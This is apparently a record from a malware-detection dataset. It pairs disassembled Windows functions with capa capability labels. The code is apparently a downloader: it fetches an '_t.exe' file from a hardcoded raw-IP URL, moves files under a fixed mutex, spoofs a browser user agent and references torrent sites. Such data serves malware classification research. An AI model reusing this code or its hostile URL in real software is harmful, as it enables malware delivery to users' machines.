joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406072
Capabilities:
Connect to http server
Parse url
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x40
push ebx
push esi
push edi
lea esi, [eax + 1]
xor ebx, ebx
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406083
sub eax, esi
lea esi, [eax + 1]
mov eax, esi
call fcn.004270b0
mov eax, esi
mov edi, esp
call fcn.004270b0
mov dword [ebp - 4], esp
push 0x38
lea eax, [ebp - 0x3c]
push ebx
push eax
call fcn.0041e6e0
mov eax, dword [ebp - 4]
add esp, 0xc
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x40]
push eax
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 1
mov dword [ebp - 8], esi
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
push ebx
push ebx
push 3
push ebx
push ebx
push dword [ebp - 0x28]
push edi
push dword [0x4392d4]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
cmp edi, ebx
jne 0x406106
xor eax, eax
lea esp, [ebp - 0x4c]
pop edi
pop esi
pop ebx
leave
ret
push ebx
push ebx
push ebx
push dword [ebp + 0x10]
push ebx
push dword [ebp - 0x14]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
push dword [ebp + 0x18]
push 0xffffffffffffffff
push dword [ebp + 0x14]
push eax
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x406145
push dword [ebp - 4]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov eax, ebx
jmp 0x4060fe
push dword [ebp + 0x20]
mov esi, dword [ebp + 0x24]
push dword [ebp - 4]
call fcn.00405f43
pop ecx
pop ecx
mov ebx, eax
jmp 0x406133

Function at 0x407148
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
mov edx, eax
xor edx, dword [esp + 4]
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edi + edx*4]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edi + edx*4]
pop esi
mov dword [ecx + 8], eax
mov eax, dword [esp + 4]
ret
Function at 0x40770c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
xor eax, eax
cmp dword [esi + 0x4090], eax
mov dword [ebp - 0xc], eax
je 0x40777b
cmp dword [esi + 0x6c], eax
jbe 0x40777b
push ebx
mov dword [ebp - 4], 0xffffff78
sub dword [ebp - 4], esi
push edi
lea ecx, [esi + 0x4094]
lea ebx, [esi + 0x88]
mov eax, dword [esi + 0x409c]
mov edi, dword [esi + 0x40a0]
and eax, 0xfffd
or eax, 2
mov dword [ebp - 8], eax
movzx eax, byte [ebx]
push eax
call fcn.00407148
mov eax, dword [ebp - 8]
xor eax, 1
imul eax, dword [ebp - 8]
shr eax, 8
xor byte [ebx], al
mov eax, dword [ebp - 4]
add esp, 4
inc ebx
add eax, ebx
cmp eax, dword [esi + 0x6c]
jb 0x40773c
pop edi
pop ebx
push dword [esi + 0x6c]
lea eax, [esi + 0x88]
push eax
push dword [esi + 0x20]
push dword [esi + 0x1c]
call dword [esi + 8]
add esp, 0x10
cmp eax, dword [esi + 0x6c]
je 0x40779a
or dword [ebp - 0xc], 0xffffffff
and dword [esi + 0x6c], 0
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x407880
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
push edi
xor edi, edi
cmp ebx, edi
mov dword [esp + 4], edi
mov dword [esp + 8], edi
jne 0x40789a
push 0xffffffffffffff9a
pop eax
jmp 0x407a4c
cmp dword [ebx + 0x2c], edi
je 0x407892
cmp dword [ebx + 0x80], 8
push ebp
push esi
mov dword [ebx + 0x34], edi
jne 0x4078f7
cmp dword [ebx + 0x84], edi
jne 0x4078f7
lea ebp, [ebx + 0x30]
cmp dword [ebx + 0x40], 0
jne 0x4078d5
mov esi, ebx
call fcn.0040770c
lea eax, [ebx + 0x88]
mov dword [ebx + 0x40], 0x4000
mov dword [ebx + 0x3c], eax
mov esi, dword [ebx + 0x44]
push 4
mov edi, ebp
call fcn.004082eb
mov edi, eax
mov eax, dword [ebx + 0x44]
sub eax, esi
add dword [ebx + 0x6c], eax
test edi, edi
pop ecx
je 0x4078b8
cmp edi, 1
jne 0x4078f7
xor edi, edi
cmp dword [ebx + 0x6c], 0
jbe 0x40790f
test edi, edi
jne 0x40790f
mov esi, ebx
call fcn.0040770c
cmp eax, 0xffffffff
jne 0x40790f
or edi, eax
cmp dword [ebx + 0x80], 8
jne 0x40792f
cmp dword [ebx + 0x84], 0
jne 0x407949
lea esi, [ebx + 0x30]
call fcn.004089eb
and dword [ebx + 0x68], 0
mov edi, eax
cmp dword [ebx + 0x84], 0
jne 0x407949
mov eax, dword [ebx + 0x408c]
mov dword [esp + 0xc], eax
mov eax, dword [ebx + 0x38]
mov dword [esp + 0x10], eax
mov esi, dword [ebx + 0x74]
mov ebp, dword [ebx + 0x40a4]
mov ecx, dword [esp + 0xc]
add ebp, dword [ebx + 0x44]
push 4
add esi, 0x10
pop edx
call fcn.00407280
mov esi, dword [ebx + 0x74]
push 4
add esi, 0x14
pop edx
mov ecx, ebp
call fcn.00407280
xor ecx, ecx
inc ecx
cmp dword [ebx + 0x5c], ecx
jne 0x40798a
mov esi, dword [ebx + 0x74]
push 2
add esi, 0x24
pop edx
call fcn.00407280
mov esi, dword [ebx + 0x74]
mov ecx, dword [esp + 0x10]
push 4
add esi, 0x18
pop edx
call fcn.00407280
test edi, edi
jne 0x4079b2
push dword [ebx + 0x78]
lea edi, [ebx + 0x24]
push dword [ebx + 0x74]
call fcn.004071a9
pop ecx
pop ecx
mov edi, eax
push dword [ebx + 0x74]
call fcn.0041937a
test edi, edi
pop ecx
jne 0x407a3e
push dword [ebx + 0x20]
push dword [ebx + 0x1c]
call dword [ebx + 0xc]
mov dword [esp + 0x1c], eax
mov eax, dword [ebx + 0x70]
push edi
add eax, 0xe
push eax
push dword [ebx + 0x20]
push dword [ebx + 0x1c]
call dword [ebx + 0x10]
add esp, 0x18
test eax, eax
je 0x4079e9
or edi, 0xffffffff
jmp 0x407a25
push dword [ebx + 0x20]
mov ecx, dword [esp + 0x10]
push 4
pop esi
mov edi, ebx
call fcn.00407237
mov edi, eax
test edi, edi
pop ecx
jne 0x407a25
push dword [ebx + 0x20]
mov ecx, ebp
mov edi, ebx
call fcn.00407237
mov edi, eax
test edi, edi
pop ecx
jne 0x407a25
push dword [ebx + 0x20]
mov ecx, dword [esp + 0x14]
mov edi, ebx
call fcn.00407237
pop ecx
mov edi, eax
push 0
push dword [esp + 0x18]
push dword [ebx + 0x20]
push dword [ebx + 0x1c]
call dword [ebx + 0x10]
add esp, 0x10
test eax, eax
je 0x407a3e
or edi, 0xffffffff
inc dword [ebx + 0x40b0]
and dword [ebx + 0x2c], 0
pop esi
mov eax, edi
pop ebp
pop edi
add esp, 0xc
ret
Function at 0x408cdf
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
cmp eax, ecx
mov dword [ebp - 8], edi
jb 0x408d6c
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.0041ec90
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x408d2c
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x408d4e
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x408e29
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
cmp ecx, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
jbe 0x408d94
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x408d9f
xor eax, eax
jmp 0x408dea
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x408dbc
mov ecx, dword [edi]
mov eax, dword [edi + 0x30]
push edx
call fcn.00407c15
jmp 0x408dcd
cmp ecx, 2
jne 0x408dd4
push edx
push dword [edi + 0x30]
mov edx, dword [edi]
call fcn.00407e2f
pop ecx
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
pop ecx
push dword [ebp - 4]
push dword [edi]
push eax
call fcn.0041ec90
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x408e15
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x408e29
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x408cea
pop edi
pop ebx
leave
ret
Function at 0x40c791
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x433a0c
push dword [ebp + 8]
call fcn.0041a101
push dword [ebp + 0x14]
mov ebx, dword [ebp + 0xc]
push dword [ebp + 0x10]
mov dword [ebp - 4], eax
push str.6:lengthi_llde
push ebx
call fcn.0041b1e9
push 0x5c
push dword [ebp + 8]
call fcn.0041a010
xor edi, edi
add esp, 0x20
cmp eax, edi
jne 0x40c7d6
mov eax, dword [ebp + 8]
jmp 0x40c7d7
inc eax
push ebx
mov ecx, eax
call fcn.0040c72f
mov esi, 0x10000
push esi
push str.12:piece_lengthi_de
push ebx
call fcn.0041b1e9
add esp, 0x10
push edi
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.00429310
push edi
push esi
push dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
call fcn.00429250
or eax, edx
je 0x40c81e
add dword [ebp - 0x10], 1
adc dword [ebp - 0xc], edi
push edi
push 0x14
push dword [ebp - 0xc]
push dword [ebp - 0x10]
call fcn.00423db0
push edx
push eax
push str.6:pieces_lld:
push ebx
call fcn.0041b1e9
add esp, 0x10
cmp dword [ebp - 4], edi
je 0x40c8cc
push 0x14
call fcn.0041949c
push esi
mov ebx, eax
call fcn.0041949c
push str.computing_sha1...
mov edi, eax
call fcn.0041b124
call fcn.00419b46
add eax, 0x20
push eax
call fcn.00419f1c
push dword [ebp - 4]
push esi
push 1
push edi
call fcn.0041a3c1
add esp, 0x20
jmp 0x40c8a3
push ebx
push eax
push edi
call fcn.00417dc0
push dword [ebp + 0xc]
push 0x14
push 1
push ebx
call fcn.0041a4f6
push dword [ebp - 4]
push esi
push 1
push edi
call fcn.0041a3c1
add esp, 0x2c
test eax, eax
jne 0x40c87f
push edi
call fcn.0041937a
push ebx
call fcn.0041937a
push dword [ebp - 4]
call fcn.0041a858
push str.done_n
call fcn.0041b124
add esp, 0x10
xor eax, eax
jmp 0x40c8e8
push dword [ebp + 8]
push str.could_not_open_file__s_n
call fcn.00419b46
add eax, 0x40
push eax
call fcn.0041b1e9
xor eax, eax
add esp, 0xc
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c975
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fa0
call fcn.0041c0f0
push ebx
push esi
push edi
mov esi, ecx
push 0x433a0c
push esi
call fcn.0041a101
push esi
push str.adding__s_n
mov ebx, eax
call fcn.0041b124
add esp, 0x10
test ebx, ebx
je 0x40ca92
push 0x1f9c
lea eax, [ebp - 0x1fa0]
push 0
push eax
call fcn.0041e6e0
mov eax, dword [ebp + 0x18]
add esp, 0xc
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40c9c6
sub eax, ecx
lea ecx, [ebp - 0x1fa0]
push ecx
lea eax, [eax + esi + 1]
push eax
call fcn.0040c8ed
lea eax, [ebp - 0x1fa0]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push str.d6:lengthi_llde4:_see
push dword [ebp + 8]
call fcn.0041b1e9
mov eax, dword [0x439410]
mov ecx, dword [ebp + 0x14]
sub ecx, eax
push ebx
push ecx
mov ecx, dword [0x439414]
add ecx, eax
push 1
push ecx
call fcn.0041a3c1
add esp, 0x2c
jmp 0x40ca82
mov esi, dword [0x439410]
add esi, eax
cmp esi, dword [ebp + 0x14]
mov dword [0x439410], esi
jne 0x40ca69
mov edi, dword [0x43940c]
lea eax, [edi + 0x14]
push eax
push dword [0x439408]
call fcn.0041a583
add edi, eax
push edi
push esi
push dword [0x439414]
mov dword [0x439408], eax
call fcn.00417dc0
add dword [0x43940c], 0x14
add esp, 0x14
xor esi, esi
mov dword [0x439410], esi
mov eax, dword [ebp + 0x14]
sub eax, esi
push ebx
push eax
mov eax, dword [0x439414]
add eax, esi
push 1
push eax
call fcn.0041a3c1
add esp, 0x10
test eax, eax
jne 0x40ca1b
push ebx
call fcn.0041a858
xor eax, eax
pop ecx
inc eax
jmp 0x40caab
push esi
push str.could_not_open_file__s_n
call fcn.00419b46
add eax, 0x40
push eax
call fcn.0041b1e9
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40cc76
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
and dword [ebp - 4], 0
push esi
push edi
push ebx
mov esi, eax
call fcn.0040cdd2
test eax, eax
pop ecx
mov dword [ebp - 0xc], eax
je 0x40cdad
mov edi, 0x10000
push edi
call fcn.0041949c
pop ecx
push esi
push str.5:filesl
mov dword [ebp - 8], eax
call fcn.0041ae76
push ebx
push 0x433f90
lea eax, [ebp - 0x420]
push 0x400
push eax
call fcn.0041afb8
push ebx
push edi
push 0
lea eax, [ebp - 0x420]
push eax
push esi
push dword [ebp - 0xc]
call fcn.0040cab0
push esi
mov ecx, ebx
call fcn.0040c72f
add esp, 0x34
push edi
push str.e12:piece_length:_de
push esi
call fcn.0041b1e9
mov eax, dword [0x43940c]
mov ecx, dword [0x439410]
add esp, 0xc
test eax, eax
jne 0x40cd0b
test ecx, ecx
je 0x40cd6c
test ecx, ecx
jle 0x40cd14
push 0x14
pop ecx
jmp 0x40cd16
xor ecx, ecx
add ecx, eax
push ecx
push str.6:pieces_d:
push esi
call fcn.0041b1e9
mov eax, dword [0x439408]
add esp, 0xc
test eax, eax
je 0x40cd42
push esi
push dword [0x43940c]
push 1
push eax
call fcn.0041a4f6
add esp, 0x10
mov eax, dword [0x439410]
test eax, eax
je 0x40cd6c
lea ecx, [ebp - 0x20]
push ecx
push eax
push dword [ebp - 8]
call fcn.00417dc0
add esp, 0xc
push esi
push 0x14
lea eax, [ebp - 0x20]
push 1
push eax
call fcn.0041a4f6
add esp, 0x10
mov eax, dword [0x439408]
test eax, eax
je 0x40cd7c
push eax
call fcn.0041937a
pop ecx
push dword [ebp - 8]
call fcn.0041937a
cmp dword [0x4393fc], 0
pop ecx
jne 0x40cda3
push str.warning:_no_files_found_in_directory_n
call fcn.00419b46
add eax, 0x40
push eax
call fcn.0041b1e9
pop ecx
pop ecx
mov esi, dword [ebp - 0xc]
call fcn.0040cef1
jmp 0x40cdcb
push ebx
push str.could_not_read_directory__s_n
call fcn.00419b46
add eax, 0x40
push eax
call fcn.0041b1e9
add esp, 0xc
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x40cfb7
Capabilities:
Check mutex on windows
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
mov esi, str.up534
push esi
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
push 0xffffffffffffffff
push eax
mov dword [0x4392d8], eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push dword [ebp + 8]
call fcn.0040602d
mov edi, eax
add esp, 0x10
cmp edi, ebx
jne 0x40cfff
xor al, al
pop edi
pop esi
pop ebx
leave
ret
call fcn.00405a9b
push eax
lea eax, [ebp - 0x108]
push 0x43405c
push eax
call fcn.004195ba
lea eax, [ebp - 0x108]
add esp, 0xc
push eax
call fcn.00405a9b
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
test eax, eax
jne 0x40d039
push edi
call fcn.0041937a
pop ecx
jmp 0x40cff8
push dword [ebp - 4]
push edi
call fcn.00405a9b
push eax
call fcn.00405c55
add esp, 0xc
test al, al
jne 0x40d05a
push edi
call fcn.0041937a
pop ecx
mov al, bl
jmp 0x40cffa
push ebx
push esi
call fcn.00405a9b
push eax
call fcn.00405dce
add esp, 0xc
test eax, eax
setne bl
jmp 0x40d04f
Function at 0x40d071
Capabilities:
Check mutex on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.up534
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
push 0xffffffffffffffff
push eax
mov dword [0x4392d8], eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push dword [0x4392d8]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
call fcn.00405a9b
push eax
lea eax, [ebp - 0x104]
push 0x43405c
push eax
call fcn.004195ba
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
leave
ret

Function at 0x40d37e
Capabilities:
Move file
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
call fcn.00405ace
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d392
sub eax, edx
mov ebx, eax
call fcn.00405ace
mov edi, eax
call fcn.00405a9b
mov esi, eax
mov ecx, ebx
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40d3b8
sbb eax, eax
sbb eax, 0xffffffff
xor esi, esi
cmp eax, esi
je 0x40d453
call fcn.00405ace
push eax
lea eax, [ebp - 0x108]
push str._s_t.exe
push eax
call fcn.004195ba
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push str.http:__83.64.127.215_tor__url2
call fcn.00405d36
test al, al
pop ecx
pop ecx
je 0x40d404
push esi
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00405dce
add esp, 0xc
call fcn.0041ae18
push eax
call fcn.00405ace
push eax
lea eax, [ebp - 0x108]
push 0x434098
push eax
call fcn.004195ba
lea eax, [ebp - 0x108]
add esp, 0x10
push eax
call fcn.00405a9b
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push esi
lea eax, [ebp - 0x108]
push str.up534
push eax
call fcn.00405dce
add esp, 0xc
call fcn.0040d0cc
jmp 0x40d45f
call fcn.00405ace
push eax
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40d519
Capabilities:
Create http request
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x128
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.0041ae0b
pop ecx
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible__MSIE_7.0__Windows_NT_5.1_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x4392d4], eax
call fcn.0040d37e
push str.up534
push dword [ebp + 0x10]
call fcn.00419f80
test eax, eax
pop ecx
pop ecx
je 0x40d567
call fcn.0040d071
call fcn.00405ace
push eax
lea eax, [esp + 0x2c]
push str._s_s
push eax
call fcn.004195ba
add esp, 0xc
lea eax, [esp + 0x28]
call fcn.0040557a
lea eax, [esp + 0x24]
push eax
push ebx
push ebx
push 0x404001
push ebx
push ebx
mov byte [0x4392a8], bl
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
push 0x439290
call esi
push 0x439274
call esi
push str.keep
push dword [ebp + 0x10]
call fcn.00419f80
test eax, eax
setne al
xor esi, esi
inc esi
push esi
push esi
push ebx
push 0x40d464
mov byte [0x4393f6], al
call fcn.004041de
add esp, 0x18
cmp byte [0x4393f6], bl
jne 0x40d63e
call fcn.00404f7d
push esi
push esi
push ebx
push 0x40cf30
call fcn.004041de
push esi
push 0xa
push ebx
push fcn.0040d101
call fcn.00404200
push ebx
push 0x42f234
call fcn.00402aa2
push ebx
push str.mininova
call fcn.00402aa2
push ebx
push str.seedpeer
call fcn.00402aa2
push ebx
call fcn.0040d101
add esp, 0x3c
call fcn.00402c5c
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x40d678
cmp dword [esp + 0xc], 0x402
je 0x40d686
cmp dword [esp + 0xc], 0x113
jne 0x40d66d
cmp dword [esp + 8], ebx
jne 0x40d66d
mov eax, dword [esp + 0x10]
push ebx
push eax
push ebx
push ebx
call dword [eax + 8]
jmp 0x40d678
lea eax, [esp + 8]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
lea eax, [esp + 0x14]
push eax
call esi
test eax, eax
jne 0x40d646
call fcn.0040d0cc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4182a0
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x5c], ecx
mov eax, 1
ret

Function at 0x41bcb1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x437630]
jne 0x41bcbb
repz ret
jmp fcn.00421b0a

Function at 0x422215
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0041e7bd
xor ebx, ebx
cmp dword [0x439020], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x4222ea
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x422255
xor eax, eax
jmp 0x4223ae
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x42224e
push eax
call fcn.0041e75a
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x439020], eax
call esi
push eax
call fcn.0041e75a
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x439024], eax
call esi
push eax
call fcn.0041e75a
mov dword [0x439028], eax
lea eax, [ebp - 8]
push eax
call fcn.0041d221
test eax, eax
pop ecx
pop ecx
je 0x4222b8
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041977f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x4222ea
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0041e75a
cmp eax, ebx
pop ecx
mov dword [0x439030], eax
je 0x4222ea
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041e75a
pop ecx
mov dword [0x43902c], eax
mov eax, dword [0x43902c]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x422363
cmp dword [0x439030], esi
je 0x422363
push eax
call fcn.0041e7c6
pop ecx
call eax
cmp eax, ebx
je 0x422330
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x439030]
call fcn.0041e7c6
pop ecx
call eax
test eax, eax
je 0x422330
test byte [ebp - 0x18], 1
jne 0x422363
lea eax, [ebp - 0xc]
push eax
call fcn.0041d258
test eax, eax
pop ecx
je 0x42234b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0041977f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x42235a
or dword [ebp + 0x10], 0x200000
jmp 0x422394
or dword [ebp + 0x10], 0x40000
jmp 0x422394
mov eax, dword [0x439024]
cmp eax, esi
je 0x422394
push eax
call fcn.0041e7c6
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x422394
mov eax, dword [0x439028]
cmp eax, esi
je 0x422394
push dword [ebp - 4]
push eax
call fcn.0041e7c6
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x439020]
call fcn.0041e7c6
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001550
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10001569
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100015a4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x100015a0
lea ebx, [ebx]
cmp esi, eax
jae 0x100015a4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x10001590
cmp esi, eax
jb 0x100015aa
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x100034b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100aabb5
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
mov eax, dword [0x100d8dd0]
xor eax, esp
push eax
lea eax, [esp + 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x18], 5
lea ecx, [esi + 0x50]
call fcn.10019c60
mov byte [esp + 0x18], 4
lea ecx, [esi + 0x38]
call fcn.10019c60
mov byte [esp + 0x18], 3
lea ecx, [esi + 0x34]
call fcn.10001df0
mov byte [esp + 0x18], 2
lea ecx, [esi + 0x30]
call fcn.10001df0
mov byte [esp + 0x18], 1
lea ecx, [esi + 0xc]
call fcn.10001df0
mov byte [esp + 0x18], 0
lea ecx, [esi + 8]
call fcn.10001df0
or eax, 0xffffffff
mov dword [esp + 0x18], eax
lea ecx, [esi + 4]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x18], eax
call fcn.10001df0
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x14
ret